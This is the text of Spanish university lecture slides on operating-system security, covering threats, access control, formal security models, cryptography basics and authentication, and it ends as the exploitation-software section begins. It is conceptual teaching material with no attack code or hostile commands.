Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Seguridad en Sistemas Operativos
Gustavo Romero Lopez
Arquitectura y Tecnologıa de Computadores
3 de diciembre de 2015
Gustavo Romero Lopez Seguridad en Sistemas Operativos 1 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Indice I
1 Introduccion
2 Entorno de seguridadAmenazasAtacantes
3 Seguridad en sistemas operativos¿Podemos construir sistemas seguros?Base informatica de confianza
4 Control de acceso a recursosDominios de proteccionListas de Control de AccesoCapacidades
5 Modelos formales de seguridadSeguridad multinivel
6 Bases de la criptografıaCriptografıa simetrica o de clave secretaCriptografıa asimetrica o de clave publica
Gustavo Romero Lopez Seguridad en Sistemas Operativos 2 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Indice II
Funciones unidireccionalesFirma digitalModulo de plataforma de confianza
7 AutenticacionAutenticacion mediante objetos fısicosAutenticacion biometrica
8 Software de explotacionAtaques de desbordamiento de buferAtaques de cadena de formatoPunteros colgados (dangling pointers)Ataques de desreferencia de punteros nulosAtaques de desbordamiento de enterosAtaques inyeccion de ordenesAtaques comprobacion/uso (Time of Check to Time of UseAttacks)
Gustavo Romero Lopez Seguridad en Sistemas Operativos 3 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Indice III
9 Ataques desde dentro
10 Software maliciosoTroyanosVirusGusanos
Gustavo Romero Lopez Seguridad en Sistemas Operativos 4 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Introduccion
Gustavo Romero Lopez Seguridad en Sistemas Operativos 5 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Definicion
Definicion de seguridad informatica:
Proteccion de la infraestructura computacionaly todo lo relacionado con esta y, especialmente,la informacion contenida o circulante.
Un conjunto de metodos y herramientasdestinados a proteger la informacion y por ende,los sistemas informaticos ante cualquieramenaza.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 6 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Evolucion del problema
Grandes cambios a lo largo de lahistoria de la Informatica:
multiusuario → monousuario
balance precio: sistema / usuario
sistemas aislados → conectados
Gustavo Romero Lopez Seguridad en Sistemas Operativos 7 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Terminologıa basica
vulnerabilidad: fallo de seguridad.
exploit: metodo para explotar unavulnerabilidad. Puede lanzarse manual oautomaticamente mediante virus o gusanos.
virus: exploit que requiere la interaccion delusuario para propagarse.
gusano: exploit capaz de propagarseautonomamente.
troyano: engano capaz de esconder un exploit.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 8 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes
Entorno de seguridad
Gustavo Romero Lopez Seguridad en Sistemas Operativos 9 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes
Seguridad y proteccion
Seguridad: medida de laconfianza en el sistema y lainformacion que contiene.
Proteccion: mecanismos quesirven para garantizar la seguridad.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 10 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes
Amenazas
CIA: Confidenciality, Integrity and Availability.
Confidencialidad: los datos secretos deben seguirsiendolo.
Integridad: las personas sin autorizacion no deben sercapaces de alterar los datos.
Disponibilidad: nada debe perturbar la usabilidad delsistema.
objetivo amenazaconfidencialidad exposicion de datosintegridad alteracion de datosdisponibilidad denegacion de servicio
En la actualidad cada una se subdividen en varias como, porejemplo, la privacidad.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 11 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes
Ejemplos de amenazas
Ataques:
Analisis de trafico de datos no cifrados por una red.
Alteracion de bases de datos.
Ataques de denegacion de servicio: LOIC, botnets.
Analisis de sistemas para detectar vulnerabilidades: nmap,metasploit.
Explotacion de vulnerabilidades: crimen, guerra (Stuxnet).
Terminologıa:
bot o zombi: ordenador bajo control de un atacante.
botnet: conjunto de ordenadores comprometidos.
portscan: deteccion de servicios en puertos.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 12 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes
Atacantes
Los atacantes pueden ser de muydistintos niveles, desde genteaburrida a gobiernos.
El objetivo del ataque puede sermuy diverso: robo, activismo,vandalismo, terrorismo, guerra,espionaje, spam, extorsion,fraude,...
Gustavo Romero Lopez Seguridad en Sistemas Operativos 13 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza
Seguridad en sistemas operativos
Gustavo Romero Lopez Seguridad en Sistemas Operativos 14 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza
Seguridad en sistemas operativos
Metodos para comprometer la seguridad:Sencillos:
Claves demasiado sencillas: PIN “0000”, “1234” o clavestipo “clave”, “password”, “12345”.
Dejar la clave a la vista: clasico postit pegado al monitor.
Descuido con medios de almacenamiento: usb perdido,tirar un ordenador viejo.
Sofisticados:
Ataques Web.
Ataques a bases de datos SQL.
Ataque al sistema operativo: los mas peligrosos.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 15 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza
Seguridad en sistemas operativos
Tipos de ataques:
Pasivos: robar informacion, capturar informacion de lared,...
Activos: tomar control de un programa para que ejecutecodigo malicioso.
Terminologıa:
criptografıa: alterar informacion para dificultar larecuperacion del original: comunicaciones, claves, ficheros.
endurecimiento (“hardening”): incorporacion demedidas de seguridad: ASLR, NX bit, SELinux.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 16 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza
¿Podemos construir sistemas seguros?
Dado que leemos sobre ataques es normal preguntarse...
¿Es posible construir sistemas seguros? → siSi lo es, ¿por que no se hace? → no son practicos
¿Es posible construir sistemas seguros?
En teorıa, si.
La dificultad crece exponencialmente con el tamano delsoftware.
Verificacion formal de sistemas.
¿Por que no se hace?
La unica forma de conseguirlo es mantener la simplicidad.
Las caracterısticas son el enemigo de la seguridad.
Ejemplos: email, httpd.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 17 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza
Base informatica de confianzaTrusted Computing Base (TCB)
Suele hablarse de sistemas de confianza (“trustedsystems”) en lugar de sistemas seguros.
Todo sistema de confianza se basa en una TCB.
El TCB garantiza el cumplimiento de los requisitos deseguridad.Partes de una TCB:
Hardware: casi todo excepto dispositivos de E/S.Software: sistema operativo, programas privilegiados y otros.
Se intenza minimizar el tamano del TCB para facilitarauditorıa y minimizar el riesgo de fallos.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 18 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Control de acceso a recursos
Gustavo Romero Lopez Seguridad en Sistemas Operativos 19 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Control de acceso a recursos
¿Que se debe proteger?
¿Que se permite a cada quien?
Gustavo Romero Lopez Seguridad en Sistemas Operativos 20 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Dominios de proteccion
Objeto: cada uno de los recursos a proteger.Tipos:
hardware: CPU, memoria, E/S,...software: procesos, ficheros, bases de datos, semaforos,...
Caracterısticas:identificador unico: ej: fichero.conjunto de operaciones: ej: leer/escribir.
Sujetos/Directores (subjects/principals):
Nombre de los usuarios en el campo de laseguridad.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 21 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Dominios de proteccion
Dominio: par <objeto, derechos>.
Principe of Least Authority (POLA): mınimoconjunto de recursos y derechos necesarios parapoder funcionar.UNIX: identificadores de usuario y grupo(UID/GID)
Cada par UID/GID da acceso a un dominio de proteccion.Se consigue al acceder desde el fichero password.Cambio de dominio: kernel, setuid()/setgid().
Gustavo Romero Lopez Seguridad en Sistemas Operativos 22 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Dominios de proteccion
Implementacion como una tabla: demasiado grande y dispersa.
Dominios como objeto de proteccion:
Gustavo Romero Lopez Seguridad en Sistemas Operativos 23 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Dominios de proteccion
Implementacion:
Almacenamiento por filas o columnas.
Guardar solo campos no vacıos.
Tipos:
filas: Listas de Control de Acceso (Access ControlLists - ACL).
columnas: Capacidades (Capabilities).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 24 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Listas de Control de Acceso
Gustavo Romero Lopez Seguridad en Sistemas Operativos 25 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Capacidades
Una capacidad es una lista de objetos y operacionespermitidas.
Para cada proceso se asocia un lista de capacidades(capability list o c-list).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 26 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades
Capacidades
Proteccion:
Arquitectura etiquetada: asocia una etiqueta a cada palabrade memoria solo accesible en modo nucleo, IBM AS/400.
c-list dentro del SO: Hydra.
c-list en espacio de usuario: proteccion criptografica,Amoeba.
Caracterısticas:
Las capacidades son mas eficientes concediendo permisos.
Las ACLs son mas flexibles y potentes en operaciones sobrecapacidades y listas, especialmente revocaciones.
Ejemplos:
UNIX: ACLs.
L4 y Android: capacidades.
FreeBSD: ACLs y capacidades (Capsicum).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 27 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Modelos formales de seguridad
Gustavo Romero Lopez Seguridad en Sistemas Operativos 28 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Modelos formales de seguridad
Las matrices de proteccion no son estaticas.
Operaciones primitivas (Harrison, 1976):
crear objeto.borrar objeto.crear dominio.borrar dominio.anadir derecho.eliminar derecho.
Las primitivas se combinan en ordenes de proteccion.
La matriz de proteccion puede dividirse en dos estadosautorizados y no autorizados.
Demostrar si un sistema es seguro es imposible.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 29 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Seguridad multinivel
Seguridad basica:Quien puede leer y escribir un fichero.Control de acceso discrecional.Mınimo mecanismo de seguridad implementado por la mayorıade los SO.
Seguridad avanzada:Requerida por militares, empresas, sanidad y gobiernos.Control de acceso obligatorio (Mandatory Access Control -MAC).
Asegura que las polıticas de seguridad se cumplen.Regula el flujo de informacion.
Linux: SELinux.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 30 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Modelo Bell-LaPadulaBell and LaPadula, 1973
Seguridad militar.
Objetivo: mantener secretos.
Niveles de seguridad: no clasificado, confidencial, secretoy alto secreto.
Un general puede tener acceso a cualquier tipo dedocumentos y un teniente como maximo a losconfidenciales.Reglas de flujo de informacion:
Propiedad de seguridad simple: un proceso de nivel k solopuede leer documentos de su nivel e inferiores.Propiedad *: un proceso de nivel k solo puede escribirdocumentos de su nivel y superiores.
Resumiendo: read down, write up.
Bueno manteniendo secretos, fatal para la integridad.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 31 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Modelo Bell-LaPadulaBell and LaPadula, 1973
Gustavo Romero Lopez Seguridad en Sistemas Operativos 32 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Modelo Biba
Seguridad empresarial.
Objetivo: garantizar la integridad de lainformacion.Reglas de flujo de informacion:
Propiedad de integridad simple: un proceso de nivel k solopuede escribir documentos de su nivel e inferiores.Propiedad de integridad *: un proceso de nivel k solo puedeleer documentos de su nivel y superiores.
Algunas organizaciones requieren ambosmodelos a la vez pero es difıcil conseguirlo porperseguir objetivos contrapuestos.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 33 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Canales encubiertoscovert channels
Los modelos formales no funcionan.
Detener el goteo de informacion es matematicamenteimposible (Lampson, 1973).Modelo de Lampson:
El problema del confinamiento.Los canales encubiertos.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 34 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Canales encubiertoscovert channels
Canales encubiertos:Modulacion del uso de la CPU.Adquisicion y liberacion de un recurso.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 35 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel
Esteganografıa
Otra forma de canal encubierto.
Esconder informacion en un imagen.
Usos lıcitos: marcas de agua.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 36 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Bases de la criptografıa
Gustavo Romero Lopez Seguridad en Sistemas Operativos 37 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Criptografıa
Criptografıa: del griego “krypto”, oculto, y “graphos”,escritura.
Desempena hoy dıa un papel central en seguridad.
La criptografıa moderna es muy sofisticada.
Usos: sistemas de ficheros, comunicaciones, identificacion,...
Proposito: tomar un mensaje, (mensaje en claro), yconvertirlo en inteligible (mensaje cifrado) de tal forma quesolo las personas autorizadas puedan recuperar el original.
Los algoritmos deben ser publicos frente a la seguridad poroscuridad.
Principio de Kerchoff: la seguridad depende de la clave.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 38 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Criptografıa simetrica o de clave secreta
Sustitucion monoalfabetica: fortaleza 27! ≈ 1,09× 1028
abcdefghijklmnnopqrstuvwxyzuthikoavpjqnnxeyzwlmdfgbcrs
Usa la misma clave para cifrar y descifrar.
Ventajas: eficiente.
Inconvenientes: intercambio de claves.
Ejemplos: DES, 3DES, RC5, AES, Blowfish e IDEA.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 39 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Criptografıa asimetrica o de clave publica
¿Que operacion es mas difıcil?123456789123456789× 123456789123456789 =⇒ cifrar√
15241578780673678515622620750190521 =⇒ descifrar
Usa dos claves, una para cifrar (publica) y otra paradescifrar (privada).
Ventajas: elimina el problema de la distribucion de claves.
Inconvenientes: miles de veces mas lento que la simetrica.
Ejemplos: Diffie-Hellman, RSA, DSA, ElGamal,Criptografıa de curva elıptica, Criptosistema deMerkle-Hellman, Goldwasser-Micali yGoldwasser-Micali-Rivest.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 40 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Funciones unidireccionales
funcion hash: funcion “f (x) = y” facil decalcular pero que dado “y” encontrar “x” seaimposible o extremadamente costoso.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 41 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Firma digital
A veces es necesario firmar un documento digitalmente parapoder verificar su autenticidad: ordenes bancarias, IRPF,...
Uso: al recibir un documento se aplica...
funcion hash al documento.clave publica a la firma ←→ ¿Como obtenerla?
Gustavo Romero Lopez Seguridad en Sistemas Operativos 42 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Firma digital
Los emisores suelen adjuntar un certificado junto almensaje.
Certificado: nombre y clave publica firmado digitalmente.
Autoridad certificadora (Certification Authority - CA):organizacion responsable del mantenimiento de loscertificados y las claves publica.
Infraestructura de clave publica (Public KeyInfrastructure - PKI): distribuida junto a sistemasoperativos y navegadores.
Ejemplos: MD5 (insegura), SHA-1 (comprometida),SHA-256, SHA-512, Tiger, WHIRPOOL.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 43 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza
Modulo de plataforma de confianzaTrusted Platform Module - TPM
La criptografıa necesita claves.
Almacenar las claves de forma segura es esencial.
¿Como hacerlo en sistemas que no son seguros?
TPM: chip con memoria no volatil capaz de almacenarclaves y realizar operaciones de cifrado, descifrado yverificacion de firmas digitales.Tema controvertido: ¿quien controla el TPM?
Microsoft: software pirata, virus, control de la plataforma.Industrial audiovisual: control de la piraterıa.Usuario: mi ordenador, mi SO, mis ficheros, mis normas :)
Gustavo Romero Lopez Seguridad en Sistemas Operativos 44 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Autenticacion
Gustavo Romero Lopez Seguridad en Sistemas Operativos 45 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Autenticacion
Autenticar: verificar la identidad.
Un ordenador seguro requiere la identificacion de sususuarios.
Los primeros ordenadores no requerıan identificarse.
Los tiempos cambian: acceso fısico −→ acceso remoto.La identificacion se basa en algo que el usuario...
sabe −→ pin, contrasena, patron,...tiene −→ objeto fısico.es −→ huella dactilar, cara, iris,...
El metodo mas utilizado es solicitar una contrasena.
Two Factor Authentication (TFA): identificacionmediante dos metodos.
Es importante proteger la BIOS.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 46 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Claves debiles
Ataque de fuerza bruta: probar claves.
Un 86 % de las claves son vulnerables (Morris yThompson, 1979).LinkedIn Hack (2012):
robo de 6.46M clavestop 10: password, 12345, link, 1234, work, god, job, angel, the,ilove.
IOActive (2013): la mayorıa de los usuarios dejala clave por defecto.
Stuxnet: centrifugadoras con clave por defecto.
Recordad: el mundo fısico requiere llamar a laspuertas una por una, el virtual no.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 47 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Seguridad de las claves en UNIX
Claves en un fichero protegido en disco.Evolucion del fichero de claves:
claves en claro.claves codificadas.claves codificadas con sal y division de ficheros.
Vulnerable a un ataque de fuerza bruta si unatacante consigue el fichero.
Contramedidas: sal y comprobacion indirecta.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 48 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Contrasenas de un solo usoOne Time Password (OTP)
Se aconseja cambiar las claves con frecuencia :)
Las claves de un solo uso son el caso extremo.
Si alguien la descubre no importa porque lasiguiente vez sera otra.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 49 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Autenticacion Desafıo-RespuestaChallenge-Response Authentication
El usuario proporciona una larga lista depreguntas y respuestas.
A identificarse se escoge una al azar.
El reto puede variar de dificultad, x2, y con elmomento del dıa.
Muchos tipos: tarjetas inteligentes o no, usb,telefono movil.
La base de datos debe protegerse al igual quelas contrasenas.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 50 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Autenticacion mediante objetos fısicos
El segundo metodo mas utilizado es laidentificacion mediante un objeto fısico.
Ejemplo fısico: llave de metal para cerradura.Ejemplo informatico: cajeros automaticos.
Requiere una tarjeta.Solicita un pin.
Tarjetas inteligentes (smart cards): no requierenconexion
No requieren conexion.Informacion protegida criptograficamente.
Probar google-authenticator: OTP + TFA.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 51 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica
Autenticacion biometrica
Identificacion mediante alguna de las caracterısticas fısicasdel usuarioDos partes: registro e identificacion.
registro: medicion, digitalizacion y almacenamiento.identificacion: proporcionar nombre de usuario.
La caracterıstica elegida debe tener unas propiedadesadecuadas:
facilidad de medicionvariabilidad entre individuosmantenimiento en el tiempo
Ejemplos: huella, voz, longitud de los dedos, iris, cara,firma, forma de teclear, patron infrarrojo,...
Problema: suplantacion de identidad, ej: cara, iris,...
Solucion: guino, flash,...
Gustavo Romero Lopez Seguridad en Sistemas Operativos 52 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Software de explotacion
Gustavo Romero Lopez Seguridad en Sistemas Operativos 53 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Software de explotacion
Finalidad: Explotar vulnerabilidades del SO/software.Ejemplos:
http://pccito.ugr.es/~gustavo/ss/boom.html
Responsable: ¿Web? ¿Atacante? ¿ISP? ¿Intermediario?Drive-by-download: descarga, autorizada o no, de softwaremalicioso.Intermediario (Man in the middle):
Intercepcion de la comunicacion (eavesdropping).Sustitucion.Repeticion.Denegacion de servicio (Denial of Service - DoS).
Efecto Reina Roja: los ataques se vuelven mas sofisticadosa la vez que lo hacen las medidas de seguridad.
Aunque existen diversos tipos, cada exploit aprovecha unfallo software.
Existen contramedidas para tratar de evitar los exploits.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 54 / 91
